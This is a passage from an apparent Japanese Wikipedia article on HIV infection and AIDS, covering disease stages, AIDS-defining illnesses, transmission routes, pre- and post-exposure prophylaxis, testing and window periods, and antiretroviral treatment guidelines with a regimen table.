照屋勝治によると、エイズは単なる[[細胞免疫]]不全疾患ではなく、慢性ウイルス血症による「全身性炎症性疾患」としている。免疫力低下に伴い[[日和見感染]]を生じるほか、HIVへの感染自体が[[血管]]内皮障害の原因となり、脳血管疾患([[脳梗塞]]、脳出血など)や心血管疾患([[心筋梗塞]]など)のリスクを上昇させるとされる<ref name=naika.102.3244>照屋勝治「[https://doi.org/10.2169/naika.102.3244 HIV治療の最前線]」『日本内科学会雑誌』Vol.102 (2013) No.12 p.3244-3252, {{DOI|10.2169/naika.102.3244}}</ref>。
=== 急性感染期 ===
HIVの初期感染像は[[アメリカ疾病予防管理センター]](CDC)分類では以下がある。いずれも感染後2 - 4週で起こるといわれ、多くの場合、数日 - 10週間程度で症状は軽くなり、長期の無症候性感染期に入るため、感染には気付きにくい。
* 急性感染(Acute seroconversion) - [[伝染性単核球症]]様あるいはインフルエンザ様症状
* 無症候性感染
* 持続性全身性[[リンパ節]]腫脹(PGL)
* その他の疾患合併
上記以外にも、突然の全身性の斑状丘疹状の[[発疹]](maculopapular rash)や、ウイルス量が急激に増加し重症化する例では、[[多発性神経炎]]、無菌性[[髄膜炎]]、[[脳炎]]症状などの急性症状を示す場合もある。しかしながら、これらの症状はHIV感染症特有のものではなく、他の感染症や疾病においても起こりうる症状であることから、症状だけで判断することは困難である。
感染後、数週間から1か月程度で[[抗体]]が産生され、ウイルス濃度は激減する。一般のHIV感染検査はこの産生される抗体の有無を検査するため、感染後数週間、人によっては1か月程度経過してからでないと十分な抗体が測定されないため、検査結果が陰性となる場合がある(ウインドウ期間)。
{{main|#診断}}
=== 無症候期 ===
多くの人は急性感染期を過ぎて症状が軽快し、おおむね5年から10年は無症状であるが、体内でHIVが盛んに増殖を繰り返す。また、免疫担当細胞である[[CD4]]陽性[[T細胞]]がそれに見合うだけ作られ、ウイルスがCD4陽性T細胞に感染し破壊するプロセスが繰り返されるため、見かけ上の血中ウイルス濃度が低く抑えられているという動的な平衡状態にある。無症候期を通じてCD4陽性T細胞数は徐々に減少していってしまう。無症候期にある感染者は[[無症候性キャリア]](AC)とも呼ばれる。
またこの期間に、自己免疫性疾患に似た症状を呈することが多いことも報告されている。ほかにも[[帯状疱疹]]を繰り返し発症する場合も多い。
=== 発病期 ===
血液中のCD4陽性T細胞がある程度まで減少していくと、身体的に免疫力低下症状を呈するようになる。
多くの場合、最初は全身倦怠感、体重の急激な減少、慢性的な[[下痢]]、極度の過労、帯状疱疹、[[過呼吸]]、[[めまい]]、発疹、[[口内炎]]、発熱、喉炎症、[[咳]]など、風邪によく似た症状のエイズ関連症状を呈する。また、顔面から全身にかけての脂漏性皮膚炎などもこの時期に見られる。大抵これらの症状によって医療機関を訪れ、検査結果からHIV感染が判明してくる。
その後、免疫担当細胞であるCD4陽性T細胞の減少と同時に、普通の人間生活ではかからないような多くの日和見感染を生じ、[[ニューモシスチス肺炎]]や[[カポジ肉腫]]、[[悪性リンパ腫]]、[[皮膚がん]]などの[[悪性腫瘍]]、[[サイトメガロウイルス]]による身体の異常など、生命に危険が及ぶ症状を呈してくる。また、HIV感染細胞が中枢神経系組織へ浸潤し、脳の神経細胞が冒されるとHIV脳症と呼ばれ、[[精神障害]]や[[認知症]]、[[記憶喪失]]を引き起こすこともある。
通常、感染したと認められてから長期間経過したあとに、以下の23の疾患(AIDS指標疾患という)のいずれかを発症した場合にAIDS発症と判断される。
{{Bquote|
A.[[真菌症]]
1.[[カンジダ症]]([[食道]]、[[気管]]、[[気管支]]、[[肺]])
2.[[クリプトコッカス症]](肺以外)
3.[[コクシジオイデス症]]
(1)全身に播種したもの
(2)肺、頚部、肺門リンパ節以外の部位に起こったもの
4.[[ヒストプラズマ症]]
(1)全身に播種したもの
(2)肺、頚部、肺門リンパ節以外の部位に起こったもの
5.[[ニューモシスティス肺炎]](''P. jiroveci'')
B.[[原虫]]症
6.[[トキソプラズマ症#免疫抑制状態の場合|トキソプラズマ脳症]](生後1か月以後)
7.[[クリプトスポリジウム症]](1か月以上続く下痢を伴ったもの)
8.[[イソスポラ症]](1か月以上続く下痢を伴ったもの)
C.[[細菌]]感染症
9.[[化膿]]性細菌感染症(13歳未満で、ヘモフィルス、連鎖球菌等の化膿性細菌により以下のいずれかが2年以内に、2つ以上多発あるいは繰り返して起こったもの)
(1)[[敗血症]]
(2)[[肺炎]]
(3)[[髄膜炎]]
(4)[[骨関節炎]]
(5)[[中耳]]・皮膚粘膜以外の部位や深在臓器の膿瘍
10.[[サルモネラ#菌血症と多臓器感染|サルモネラ菌血症]](再発を繰り返すもので、チフス菌によるものを除く)
11.活動性[[結核]](肺結核又は肺外結核)<sup>(※)</sup>
12.[[非結核性抗酸菌症]]
(1)全身に播種したもの
(2)肺、皮膚、頚部、肺門リンパ節以外の部位に起こったもの
D.[[ウイルス感染症]]
13.[[サイトメガロウイルス]]感染症(生後1か月以後で、[[肝臓|肝]]、[[脾臓|脾]]、リンパ節以外)
14.[[単純ヘルペス]]ウイルス感染症
(1)1か月以上持続する粘膜、皮膚の潰瘍を呈するもの
(2)生後1か月以後で気管支炎、肺炎、食道炎を併発するもの
15.[[進行性多巣性白質脳症]]
E.腫瘍
16.[[カポジ肉腫]]
17.原発性脳[[リンパ腫]]
18.[[非ホジキンリンパ腫]]
19.浸潤性[[子宮頚癌]]<sup>(※)</sup>
F.その他
20.反復性肺炎
21.リンパ性[[間質性肺炎]]/肺リンパ過形成:LIP/PLH complex(13歳未満)
22.HIV脳症(認知症又は亜急性脳炎)
23.HIV消耗性症候群(全身衰弱又はスリム病)
<sup>(※)</sup>;HIVによる免疫不全を示唆する所見がみられる者に限る。
|空引数|空引数|厚生労働省|感染症法に基づく医師の届出のお願い<ref name="mhlw-aids" />}}
== 感染経路 ==
{{出典の明記|date=2017年1月|section=1}}
HIVの初期症状は、[[発熱]]、リンパ節の腫れ、[[咽喉]]の痛み、[[だるさ]]、口内炎、発疹、慢性的な下痢、[[筋肉痛]]などであり、風邪やインフルエンザの症状と全く変わらず、症状から感染を判断することは難しい。また、潜伏期間が10年と長く感染に気付きにくい。よって、下記の感染の可能性のある行為の経験がある場合は、早めに[[保健所]]などでの検査を受けることが重要となる。
HIVは通常の環境では非常に弱いウイルスであり、一般に普通の社会生活をしている分には感染者と暮らしたとしてもまず感染することはない。一般に感染源となりうるだけのウイルスの濃度をもっている体液は[[血液]]、[[精液]]、[[膣分泌液]]、[[母乳]]が挙げられる。一般に感染しやすい部位としては[[粘膜]]([[腸]]粘膜、膣粘膜、[[口腔]]粘膜など)、切創や刺創などの血管に達するような深い[[傷]]などがあり、通常の傷のない[[皮膚]]からは侵入することはない。そのため、主な感染経路は以下の3つに限られている。
=== 性的感染 ===
[[性行為]]による感染では、性分泌液に接触することが最大の原因である。通常の性行為では、女性は精液が膣粘膜に直接接触し血液中にHIVが侵入することで感染する。男性は性交によって亀頭に目に見えない細かい[[傷]]ができ、そこに膣分泌液が直接接触し血液中にHIVが侵入する事で感染する。そのため、性交でなくても性器同士を擦り合わせるような行為でもHIV感染が起こる恐れがある。また肛門性交では腸粘膜に精液が接触しそこから感染するとされている。腸の粘膜は一層であるため薄く、HIVが侵入しやすいため、膣性交よりも感染リスクが高い。[[コンドーム]]の着用がHIVの性的感染の予防措置として有効である。ただし使用中に破れたり、劣化したものを気付かずに使用する場合があるため、完全に感染を防ぐことができるとはいえない。コンドームの使用に際しては、信頼できる製品を使用期限内に正しい用法で用いることが推奨される。また[[割礼]]によって感染リスクが低減するという研究結果が複数ある。傷つきやすく、免疫関連細胞の多い包皮を切除することで、HIVの侵入・感染が抑えられるためだと考えられている。なお口腔で[[性器]]を愛撫する場合も、口腔内に歯磨きなどで微小な傷が生じていることが多く、そこに性分泌液が接触することで、血液中にウイルスが侵入するおそれがある。
=== 血液感染 ===
感染者の血液が、傷、[[輸血]]、[[麻薬]]の回し打ちなどによって、血液中に侵入することで感染が成立する。特に麻薬・[[覚醒剤]]中毒者間の注射器・注射針の使い回しは感染率が際立って高い。以前は輸血や[[血液製剤]]からの感染があったが、現在では全ての血液が事前にHIV感染の有無を検査され、感染のリスクは非常に低くなっている。医療現場においては、針刺し事故などの[[医療事故]]による感染が懸念され、十分な注意が必要である。
=== 母子感染 ===
母子感染の経路としては3つの経路がある。出産時の[[産道]]感染、母乳の授乳による感染、[[妊娠]]中に[[胎児]]が感染する経路である。産道感染は子供が産まれてくる際、産道出血による血液を子供が浴びることで起こる。感染を避ける方法として、[[帝王切開]]を行い母親の血液を付着させない方法があり、効果を上げている。母乳による感染が報告されており、HIVに感染した母親の母乳を与えることは危険とされている。この場合は子供に粉ミルクを与えることによって、感染を回避することができる。胎内感染は、胎盤を通じ子宮内で子供がHIVに感染することで起こる。物理的な遮断ができないため、感染を回避することが難しい。感染を避ける方法として、妊娠中に母親が[[HAART療法]]により血中のウイルス量を下げ、子供に感染する確率を減らす方法がとられている。
=== HIV感染予防薬 ===
2018年現在、HIV感染を予防する方法・薬剤が存在する。一つは、医療従事者などが「針刺し事故」で感染の危険がある場合に、事後的に薬剤を投与する「曝露後予防内服(PEP、Post Exposure Prophylaxis)」であり、もう一つは、HIV感染リスクの高い業務に従事していたり(たとえば、コンドームを使用しないで性的サービスを行う[[ソープランド]]従業員)、コンドームを用いないで不特定多数と性行為を行うライフスタイルを営む者に対して事前に薬剤を投与しておく「曝露前予防内服(PrEP、Pre Exposure Prophylaxis)」である<ref>[[国立国際医療研究センター]] エイズ治療・研究開発センター 水島大輔「[http://shclinic.ncgm.go.jp/prep.html PrEPの基礎知識]」</ref>。
曝露前予防内服(PrEP)は、[[ゲイ]]や[[バイセクシュアル]]の男性において高い予防効果と安全性が報告されており、怠薬なく毎日の服用を続けることができれば、90パーセント以上の予防効果があると考えられている<ref>『[[ランセット]]』(Volume 387, Issue 10013, 2–8 January 2016, Pages 53-60)
「[https://www.sciencedirect.com/science/article/pii/S0140673615000562 Pre-exposure prophylaxis to prevent the acquisition of HIV-1 infection (PROUD): effectiveness results from the pilot phase of a pragmatic open-label randomised trial]」</ref>。
なお、曝露前予防内服(PrEP)も曝露後予防内服(PEP)も「ツルバダ(Truvada)」という商品名の抗HIV薬([[テノホビル]]・[[エムトリシタビン]]合剤薬剤)を1日1回内服する方法が用いられる<ref>[[Huffington Post]](2015年12月02日)「[https://www.huffingtonpost.jp/letibee-life/prep-hiv_b_8679888.html 欧米で話題の"PrEP"って何?HIV感染しなくなるって本当?]」</ref><ref>[[BuzzFeed Japan]] Medical(2017年11月17日)「[https://ex.yahoo.co.jp/buzzfeedjapan/medical/6.html 世界で広がる新しいHIV感染予防策「PrEP(プレップ)」日本でも議論へ]」</ref>。
== 病原体 ==
{{Main|ヒト免疫不全ウイルス}}
[[File:HI-virion-structure en.svg|thumb|alt=diagram of microscopic viron structure|HIVのウイルス粒子構造の図]]
[[File:HIV-budding-Color.jpg|thumb|alt=A large round blue object with a smaller red object attached to it. Multiple small green spots are speckled over both.|培養[[リンパ球]]から緑色で示されたHIV-1が出芽する様子を捉えた[[走査型電子顕微鏡]]像。]]
HIVはHIV感染症ないしAIDSとして知られる連続性を持つ疾患の病原体である。このウイルスは[[レトロウイルス科|レトロウイルス]]の一種で、感染時にはまずCD4陽性細胞、[[マクロファージ]]、[[樹状細胞]]といったヒトの[[免疫系]]に携わる細胞に感染する。そして、直接的にも間接的にもCD4陽性細胞を破壊する<ref name=Alimonti>{{Cite journal |vauthors=Alimonti JB, Ball TB, Fowke KR | title=Mechanisms of CD4+ T lymphocyte cell death in human immunodeficiency virus infection and AIDS | journal=J. Gen. Virol. | year=2003 | pages=1649–1661 | volume=84 | issue=7 | pmid=12810858 | doi=10.1099/vir.0.19110-0}}</ref>。
HIVは[[レトロウイルス科]]<ref name="ICTV61.">{{cite web | author=International Committee on Taxonomy of Viruses | publisher=National Institutes of Health | year=2002 | url=http://www.ncbi.nlm.nih.gov/ICTVdb/ICTVdB/61000000.htm | title=61. Retroviridae | archiveurl=https://web.archive.org/web/20060629180810/http://ncbi.nlm.nih.gov/ICTVdb/ICTVdB/61000000.htm | accessdate=June 25, 2012 | archivedate=June 29, 2006}}</ref>[[レンチウイルス属]]<ref name=ICTV61.0.6>{{cite web | author=International Committee on Taxonomy of Viruses| author-link=International Committee on Taxonomy of Viruses | publisher=[[National Institutes of Health]] | year=2002 | url=http://www.ncbi.nlm.nih.gov/ICTVdb/ICTVdB/61060000.htm |archiveurl=https://web.archive.org/web/20060418135608/http://www.ncbi.nlm.nih.gov/ICTVdb/ICTVdB/61060000.htm | title=61.0.6. Lentivirus | accessdate=June 25, 2012 |archivedate=April 18, 2006}}</ref>の一員である。レンチウイルスは[[形態学 (生物学)|形態学]]的にも[[生物学]]的にも多数の共通点を持つ。レンチウイルスは多くの[[哺乳類]]に感染しており、長期の[[潜伏期間|潜伏期]](incubation period)を伴う長く続く疾患の原因となる<ref name=Levy>{{cite journal | author=Lévy, J. A. | title=HIV pathogenesis and long-term survival | journal=AIDS | year=1993 | pages=1401–10 | volume=7 | issue=11 | pmid=8280406 | doi=10.1097/00002030-199311000-00001}}</ref>。レンチウイルスは[[エンベロープ (ウイルス)|エンベロープ]]を持つ、一本鎖のプラス鎖[[RNAウイルス]]である。標的細胞への侵入に際し、ウイルス粒子に[[ゲノム]]と共に細胞内へ輸送される[[逆転写酵素]]によってウイルスRNAゲノムは二重鎖の[[デオキシリボ核酸|DNA]]へと変換(逆転写)される。ウイルスDNAはさらに宿主の核内へ運ばれ、ウイルスの[[インテグラーゼ]]と宿主の共因子の働きによって宿主DNAに取り込まれる<ref name="JASmith">{{cite journal | author= Smith, Johanna A.; Daniel, René (Division of Infectious Diseases, Center for Human Virology, Thomas Jefferson University, Philadelphia)|title= Following the path of the virus: the exploitation of host DNA repair mechanisms by retroviruses |journal=ACS Chem Biol|volume=1|issue=4 |pages= 217–26 | year= 2006 |pmid= 17163676 |doi=10.1021/cb600131q |url=}}</ref>。宿主DNAに取り込まれたウイルスは[[潜伏期間|潜伏状態]](latent)となり、ウイルスとその宿主細胞が免疫系に検知されるのを避ける<ref>{{cite book|last=Martínez|first=edited by Miguel Angel|title=RNA interference and viruses : current innovations and future trends|year=2010|publisher=Caister Academic Press|location=Norfolk|isbn=978-1-904455-56-1|page=73|url=https://books.google.com/books?id=C5TY8W74scIC&pg=PA73}}</ref>。代わりにウイルスは[[転写 (生物学)|転写]]を受けて新たなRNAゲノムとウイルス[[タンパク質]]を産生し、組み立てられたウイルス粒子が細胞外へ放出されて新たな増殖環を開始する<ref>{{cite book|editor=Gerald B. Pier|title=Immunology, infection, and immunity|year=2004|publisher=ASM Press|location=Washington, D.C.|isbn=978-1-55581-246-1|page=550|url=https://books.google.com/books?id=kBb-wYsMHEAC&pg=PA550&lpg=PA550}}</ref>。
HIVはCD4陽性細胞間を2つの方法で拡散することが知られる。1つが細胞フリーな拡散法で、もう1つが細胞 - 細胞拡散法であり、HIVはハイブリッドな拡散法を利用する<ref name=Zhang>{{cite journal | vauthors = Zhang C, Zhou S, Groppelli E, Pellegrino P, Williams I, Borrow P, Chain BM, Jolly C | title = Hybrid Spreading Mechanisms and T Cell Activation Shape the Dynamics of HIV-1 Infection | journal = PLOS Computational Biology | volume = 11 | issue = 4 | pages = e1004179 | year = 2015 | pmid = 25837979 | doi = 10.1371/journal.pcbi.1004179 }}</ref>。細胞フリーな拡散においてはウイルス粒子が感染細胞T細胞から出芽し、血液や細胞外液へ進出、遭遇したほかのT細胞へ感染する<ref name="Zhang"/>。HIVはまた細胞から細胞へ、細胞 - 細胞拡散によっても広がっていく<ref name=Jolly>{{cite journal | vauthors = Jolly C, Kashefi K, Hollinshead M, Sattentau QJ | title = HIV-1 cell to cell transfer across an Env-induced, actin-dependent synapse | journal = Journal of Experimental Medicine | volume = 199 | issue = 2 | pages = 283–293 | year = 2004| pmid = 14734528 | doi = 10.1084/jem.20030648 }}</ref><ref name=Sattentau>{{cite journal | vauthors = Sattentau Q | title = Avoiding the void: cell-to-cell spread of human viruses | journal = Nature Reviews Microbiology | volume = 6 | issue = 11 | pages = 815–826 | year = 2008| pmid = 18923409 | doi = 10.1038/nrmicro1972 }}</ref>。ハイブリッドなHIVの拡散機構は抗レトロウイルス療法時におけるウイルスの増殖進行を可能にする<ref name="Zhang"/><ref name=Sigal>{{cite journal | vauthors = Sigal A, Kim JT, Balazs AB, Dekel E, Mayo A, Milo R, Baltimore D | title = Cell-to-cell spread of HIV permits ongoing replication despite antiretroviral therapy | journal = Nature | volume = 477 | issue = 7362 | pages = 95–98 | year = 2011 | pmid = 21849975 | doi = 10.1038/nature10347 }}</ref>。
HIVには2つの型が知られる。HIV-1とHIV-2である。HIV-1は最初に発見された(そして当初はLAV、もしくはHILV-IIIとも呼ばれた)ウイルスである。HIV-1はより[[病原性]](virulence)と[[感染性]]が高く<ref>{{cite journal | title=Comparison of HIV-1 and HIV-2 infectivity from a prospective cohort study in Senegal | last=Gilbert | first=PB |journal=Statistics in Medicine | date=February 28, 2003| volume=22 | issue=4 | pages=573–593 | pmid=12590415 |doi=10.1002/sim.1342 | last2=McKeague | first2=IW | last3=Eisen | first3=G | last4=Mullins | first4=C | last5=Guéye-Ndiaye| first5=A | last6=Mboup | first6=S | last7=Kanki | first7=PJ | display-authors=1}}</ref>、世界的に見てHIV感染症の主要な病原体となっている。HIV-1と比べたHIV-2の感染性の低さは、HIV-2の曝露時に感染が成立する確率が低いことを暗示する。相対的な感染能力の低さゆえ、HIV-2はほとんど[[西アフリカ]]に限って存在している<ref name="Reeves">{{cite journal |author1=Reeves, J. D. |author2=Doms, R. W | title=Human Immunodeficiency Virus Type 2 | journal=J. Gen. Virol. | year=2002 | pages=1253–65 | volume=83 | issue=Pt 6 | pmid=12029140 | doi=10.1099/vir.0.18253-0}}</ref>。
== 診断 ==
厚生労働省は、HIV感染症であり、'''かつ'''、指標疾患(Indicator Disease)の1つ以上が明らかに認められる場合にAIDSと診断し、感染症法に基づく届出が必要、としている<ref name="mhlw-aids">[https://www.mhlw.go.jp/bunya/kenkou/kekkaku-kansenshou11/01-05-07.html 9.後天性免疫不全症候群] 厚生労働省</ref>。
=== HIV感染症検査 ===
[[File:Hiv-timecourse ja.png|thumb|360px]]
HIV感染症の診断では、血液中に抗体を有することを検査する。日本での検査方法は、日本エイズ学会による「HIV-1/2 [[感染症]]の診断ガイドライン」が広く用いられている。
==== 検査機関 ====
HIVに感染しているかどうかの検査は居住地に関係なく全国の[[保健所]]で[[匿名]]・[[無料]]で受けることができる<ref>[http://www.hivkensa.com/ HIV検査・相談マップ]</ref>。都市部の保健所では、夜間や休日にも検査を行っているところがあり、仕事や学業に影響を与えず検査できる体制を整えつつある。また、医療機関でも実費負担で検査を受けられるところがある。
結果はおよそ1週間ほどで判明するが、近年は30分以内で判明する即日検査も普及し始めている。通常は抗体スクリーニング検査が行われるが、より感度が高くウインドウ期間の短いNAT検査(詳細は後述)を実施している保健所や医療機関もある。
==== 種類 ====
* 血清抗体検査
** PA法(粒子凝集法)
** ELISA法(酵素抗体法)
** CLEIA法(化学発光酵素免疫法)
** IC法(免疫クロマトグラフィー法)
** IFA法(間接蛍光抗体法)
** Western Blot法
* 血清抗原検査
** 抗原抗体法(HIV-1 p24抗原検査)
* 核酸増幅検査
** HIV-1 PCR法(リアルタイムPCR法:RT-PCR法)
** HIV-1 proviral DNA法
** NAT(Nucleic acid Amplification Test)
==== 方法 ====
[[血液]]を採取して以下の検査が行われる。
* '''スクリーニング'''(通常の抗体検査)
: 一般にスクリーニング用検査キットとしてさまざまなものが市販されているが、ELISA法またはPA法によるHIV-1抗体・HIV-2抗体・HIV-1 p24抗原が同時測定が可能な第4世代キットが広く用いられるようになってきている。
:検査時期としては、「感染の機会があってから3か月(検査機関により異なる)以上経過したあと」での検査が推奨される。これはHIVの感染初期においては抗体が十分に作られず、血液検査では検出できない期間があるためであり、この期間は「ウインドウ期間(ウインドウピリオド・空白期間)」と呼ばれている。ウインドウ期間には個人差があり、スクリーニングでの検出が可能なほど血中の抗体が十分に増加するまでに通常1 - 3か月かかるとされている<ref name="kensamame">[http://www.hivkensa.com/mame/ HIV検査まめ知識(HIV検査・相談マップ)]</ref>。この間に検査を行った場合、HIVに感染していても陰性(感染なし)と判断されてしまうため、ウインドウ期間が最大の場合を考慮し3か月以上としている。
* '''NAT検査'''([[核酸増幅検査]])
:[[ウイルス]]の[[遺伝子]]である[[核酸]]を検知できるほどに複製する方法で、通常のスクリーニング検査と比較してウインドウ期間の短縮が可能である<ref>[http://www.ketsukyo.or.jp/glossary/ka01.html 核酸増幅試験(社団法人 日本血液製剤協会)]</ref>。一部の検査機関では抗体検査と同時に実施されており、「感染の機会があってから2か月以上経過したあと」で信頼できる結果が得られる。後述する[[献血]]においても実施されている。
* '''確定診断'''
: 上記検査にて陽性となった場合、「Western Blot法によるHIV-1抗体・HIV-2抗体検査」と「HIV-1 PCR法検査」を施行し診断していく。一般的なスクリーニング検査では約0.3パーセント、即日検査では約1パーセントの確率で、HIVに感染していないにもかかわらず陽性結果となる[[偽陽性]]が発生する<ref>[http://www.hivkensa.com/question/ HIV検査Q&A(HIV検査・相談マップ)]</ref>ため、確定診断は重要である。
* '''感染後経過'''
: HIV-1 PCR法によるウイルス量測定と、[[フローサイトメトリー]]法によるCD4陽性細胞数検査が行われる。CD4数は現在の病態を反映する数値である。正常ならば800 - 1200個/µLであるが、HIVに感染すると徐々に低下していく。500個/µL程度では[[帯状疱疹]]、[[結核]]、[[カポジ肉腫]]、[[非ホジキンリンパ腫]]、200個/µL程度では[[ニューモシスチス肺炎]]、[[トキソプラズマ脳症]]、100個/µLでは[[クリプトコッカス髄膜炎]]、50個/µLでは[[サイトメガロウイルス]]、[[非定型抗酸菌症]]を起こしやすいとされている。
==== 献血における検査 ====
[[献血]]で採取された血液からHIVやその他のウイルスの感染の有無を調べるため、[[日本赤十字社]]による献血では現在、抗体検査やNAT検査が行われている。
* '''検査目的の献血について'''
:献血においては安全性の面から上述の検査を行っているが、「検査目的の献血」を防ぐことから、'''HIVの感染においては陽性であってもその結果は献血者本人に知らせることはない'''。日本赤十字社では感染リスク後の献血は遠慮を願うとしており、HIV検査をする場合は保健所などで行うようにとしている<ref>{{Cite web|和書|url=http://jrc.or.jp/donation/refrain/detail/detail03.html |title=寄付・献血・ボランティア|エイズ、肝炎などのウイルス保有者、またはそれと疑われる方 |publisher=日本赤十字社 |archiveurl=https://web.archive.org/web/20111126150121/http://jrc.or.jp/donation/refrain/detail/detail03.html |archivedate=2011年11月26日 |accessdate=2013-05-31 |deadlinkdate=2017年10月 }}</ref>。
* '''献血で行われる検査の詳細'''
:NAT検査では、感染初期の体内でウイルスが増加する[[ウイルス血症]]に陥ってから(感染直後 - 1か月ほどと個人差がある)、平均11日( - 22日)以降に検出可能であり、通常の抗体検査ではNAT検査より時間がかかり平均22日以降<ref name="kensamame" />(感染後4日 - 41日の間に抗体の陽性化が起きるケースは95パーセントである<ref>[http://tetsujinsan.blog8.fc2.com/blog-entry-112.html ふたつのウインドウ・ピリオドとは]</ref>)で検出が可能となる。NATで検出ができない期間を「NATウインドウ期間」、抗体による検査で検出ができない期間を「血清学的ウインドウ期間」という。そのため、ウイルス血症の発生時期やウインドウ期間に個人差があることなども考慮して感染が疑われる機会があった場合は、それから最低でも2か月以上経過したあとに保健所などで抗体検査を行ってから献血を行うことが望まれる。
:現在、NATは試薬が大変高価で検査費用が高いこと、完全自動化されておらず一度に大量の検査ができないため、20検体を1つにプールしてNATを実施し(ミニプールNATと呼ばれている)、あるプール検体が陽性となった場合はプールされている20検体に対し、個別に再検査を実施し(個別NATと呼ばれている)、陽性の検体を特定して、その検体に対応する血液のみを輸血に使用しないという方法をとっている。
=== 指標疾患(Indicator Disease) ===
{{see|#発病期}}
== 治療 ==
抗HIV薬について、基本的に多剤併用療法(Highly Active Anti-Retroviral Therapy:[[HAART療法]])にて治療が行われる。ただ、完治・治癒に至ることは現在でも困難であるため、[[抗ウイルス薬]]治療は開始すれば一生継続する必要がある。
一方、患者の平均余命は新薬の開発などにより改善されている。[[ブリストル大学]]の研究チームによると、2008年以降の早期に抗レトロウイルス薬治療(ART)を始めた20歳患者の平均余命は78歳であり、非感染者とほぼ同水準まで延長されていた<ref name="平均余命">{{Cite news|title=HIV感染者の平均余命、今では一般とほぼ変わらず=英研究|url=http://www.bbc.com/japanese/39880346|newspaper=BBC news Japan|publisher=BBCワールドジャパン|date=2017-05-11|accessdate=2017-05-11}}</ref>。
また、HAART療法は2000年初頭までは1年間に1万ドル以上が必要であったが、[[インド]]や[[タイ王国|タイ]]、[[ブラジル]]などで安価な[[後発医薬品|ジェネリック薬]]が生産されるようになり、さらに世界最大のエイズ患者を抱える[[南アフリカ共和国]]がこうした薬を輸入できるよう定めた改正薬事法を1997年に施行し、これに対し提訴した製薬会社が2001年に和解に応じたことでエイズ治療薬価格が大幅に低下した。2001年末にはHAART療法に必要な薬価は年間350ドルに低下し、エイズ治療は貧困層にも手の届くものとなった<ref>「アフリカ経済論」p204-205 北川勝彦・高橋基樹編著 ミネルヴァ書房 2004年11月25日初版第1刷</ref>。
=== ガイドライン ===
一般に、[[アメリカ合衆国保健福祉省]](US DHHS)の治療ガイドラインが世界的に広く用いられている。おもなガイドラインには以下が存在する(ほぼ、毎年のように改訂<ref name=naika.102.3244 />)。
* '''US DHHS Guidelines''':[[アメリカ合衆国保健福祉省]](US DHHS)による 成人・[[妊婦]]・小児と別れて存在する
** Guidelines for the Use of Antiretroviral Agents in HIV-1-Infected Adults and Adolescents-1-Infected
** Recommendations for Use of Antiretroviral Drugs in Pregnant HIV-1-Infected Women for Maternal Health and Interventions to Reduce Perinatal HIV Transmission
** Guidelines for the Use of Antiretroviral Agents in Pediatric HIV Infection
** Guidelines for Prevention and Treatment of Opportunistic Infections in HIV-Infected Adults and Adolescents
** Guidelines for Prevention and Treatment of Opportunistic Infections in Children Guidelines
* '''HIV感染症治療の手引き''':日本のHIV感染症治療研究会による
* '''Antiretroviral Treatment of Adult HIV Infection''':英国HIV学会(BHIVA)による
* '''Antiretroviral Treatment of Adult HIV Infection''':アメリカ国際エイズ学会(International AIDS Society–USA)による
* '''HIV GUIDE''':[[ジョンズ・ホプキンズ大学]]エイズサービス(Johns Hopkins AIDS Service)による
=== 治療開始 ===
アメリカ合衆国保健福祉省(US DHHS)の治療ガイドラインでは以下とされている。
* AIDS発症またはCD4値<350個/[[立方ミリメートル|mm<sup>3</sup>]]未満の患者では抗ウイルス薬の治療を開始するべき
* 妊婦・HIV関連腎症・[[B型肝炎ウイルス|HBV]]重複感染ではCD4値にかかわらず抗ウイルス薬の治療を開始するべき
* CD4値が350 - 500個/mm<sup>3</sup>の患者では抗ウイルス薬の治療開始を推奨する
* CD4値>500個/mm<sup>3</sup>の患者では抗ウイルス薬の治療開始が好ましいか、任意で行う
: ※US DHHS Adult and Adolescent Guidelinesによる
日本の最新のガイドラインでは、すべてのHIV感染患者に対して抗HIV薬の開始が推奨されるようになっていて、特に、
*AIDS発症
*HIV感染が原因で腎臓の機能が著しく低下している
*HIVに感染している妊婦
*B型肝炎ウイルスやC型肝炎ウイルスにも感染している
場合には、早期の治療開始がより強く推奨されている<ref name="hok-hiv-treatment">[http://hok-hiv.com/knowledge/treatment/ HIV治療について] 北海道大学病院HIV診療支援センターHIV相談室 </ref>。ただし、CD4数が500/µLより多いと身体障害者手帳を取得できない場合があり、医療費助成制度を使えない可能性もあるので、事前に十分に確認する必要がある<ref name="hok-hiv-treatment" />。
=== 治療薬 ===
現在、以下のような種類のHIVに対する抗ウイルス薬が存在する。
=== 治療方法 ===
基本的に、世界的に広く感染している「HIV-1」に対する治療についておもに記述する。「HIV-2」に関しては同じような治療であるが、NNRTIは効果が薄いなどの違いがある。
「[[アメリカ合衆国保健福祉省]](US DHHS)の治療ガイドライン」における推奨レジメンは以下の通りである。
{| class="wikitable" style="margin-left:2em"
|-
! colspan="2" | 推奨レジメン(Preferred Regimens)
|-
| NNRTIを基本としたレジメン || EFV/TDF/FTC1
|-
| PIを基本としたレジメン || ATV/r+TDF/FTC1<br/>DRV/r+TDF/FTC1
|-
| INSTIを基本としたレジメン || RAL+TDF/FTC1
|-
| 妊婦に対するレジメン || LPV/r+ZDV/3TC1
|-
! colspan="2" | 代替レジメン(Alternative Regimens)
|-
| NNRTIを基本としたレジメン || EFV+(ABC or ZDV)/3TC1<br/>NVP+ZDV/3TC1
|-
| PIを基本としたレジメン || ATV/r+(ABC or ZDV)/3TC1<br/>FPV/r+[(ABC or ZDV)/3TC1] or TDF/FTC1<br/>LPV/r+[(ABC or ZDV)/3TC1] or TDF/FTC1<br/>SQV/r + TDF/FTC1
|-
! colspan="2" | 許容レジメン(Acceptable Regimens)
|-
| NNRTIを基本としたレジメン || EFV+ddI+(3TC or FTC)
|-
| PIを基本としたレジメン || ATV+(ABC or ZDV)/3TC1
|-
! colspan="2" | 許容されるがデータが必要なレジメン<br/>(Regimens that may be acceptable but more definitive data are needed)
|-
| [[CCR5]]拮抗薬を基本としたレジメン || EFV+ddI+(3TC or FTC)
|-
| INSTIを基本としたレジメン || RAL+(ABC or ZDV)/3TC1
|-
! colspan="2" | 注意して使用するレジメン(Regimens to be Used with Caution)
|-
| NNRTIを基本としたレジメン || NVP+ABC/3TC1<br/>NVP+TDF/FTC1
|-
| PIを基本としたレジメン || FPV+[(ABC or ZDV)/3TC1 or TDF/FTC1]
|}
日本の「HIV感染症治療研究会によるHIV感染症治療の手引き」における推奨レジメンは以下の通りである。'''キードラッグ'''(NNRTI or PI)と'''バックボーンドラッグ'''(2-NRTI)から1つずつ選択し併用する。
<div style="float: left; vertical-align: top; margin-right: 1em;">
